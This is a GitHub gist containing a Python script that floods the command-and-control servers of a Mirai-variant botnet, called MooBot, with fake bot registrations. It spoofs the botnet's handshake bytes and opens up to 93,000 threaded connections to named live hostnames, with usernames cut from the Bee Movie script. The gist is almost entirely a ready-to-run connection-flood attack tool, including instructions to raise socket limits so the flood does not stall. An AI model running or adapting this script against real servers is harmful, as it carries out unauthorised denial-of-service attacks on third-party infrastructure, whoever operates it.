Skip to content

Instantly share code, notes, and snippets.

@shinyquagsire23
Last active March 30, 2022 02:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save shinyquagsire23/7e9a8b5f4cbb6ca79fb0de1b54bd2bfb to your computer and use it in GitHub Desktop.
Save shinyquagsire23/7e9a8b5f4cbb6ca79fb0de1b54bd2bfb to your computer and use it in GitHub Desktop.
Spam "MooBot Mirai DDoS" with the bee movie script
# run `ulimit -n 94000` or it'll run out of socket fd's
# grab your bee movie script from
# https://gist.githubusercontent.com/ElliotGluck/64b0b814293c09999f765e265aaa2ba1/raw/79f24f9f87654d7ec7c2f6ba83e927852cdbf9a5/gistfile1.txt
# and save as `beemovie.txt`
import time
import threading
import socket
import struct
connections = 0
port = 55650 #25564
cnc = "mooshit.infectedfam.cc"
cnc_idk = "botnet.goelites.cc"
bees = open("beemovie.txt", "r").read().replace("\n ", " ").replace("\n", " ").replace(" ", " ").replace(" ", " ")
bees_words = bees.split(" ")
HOST = cnc # "194.31.98.248"
PORT = port
done_bugging = False
sockets = []
def thread_function(arg):
global connections, sockets
#print (arg)
arg_encode = arg.encode("utf-8")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
try:
s.connect((HOST, PORT))
except Exception as e:
print (e)
#done_bugging = True
return
s.sendall(struct.pack("<BBBB", 0x33, 0x66, 0x99, len(arg_encode)) + arg_encode)
time.sleep(1)
iam = connections
print (connections)
#sockets += [s]
connections += 1
while True:
try:
data = s.recv(0x400)
print(iam, f"Received {data!r}")
if data == b'':
break
except:
break
time.sleep(1)
idx = 0
for i in range(0,93000):
if done_bugging:
break
client_name = ""
for j in range(1,256):
client_name = " ".join(bees_words[idx:idx+(256-j)])
if len(client_name) < 256-30:
idx += (256-j)
break
if client_name == "" or idx >= (len(bees_words)):
idx = 0
client_name = "............................ " + client_name
try:
x = threading.Thread(target=thread_function, args=(client_name,))
x.start()
except:
time.sleep(1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment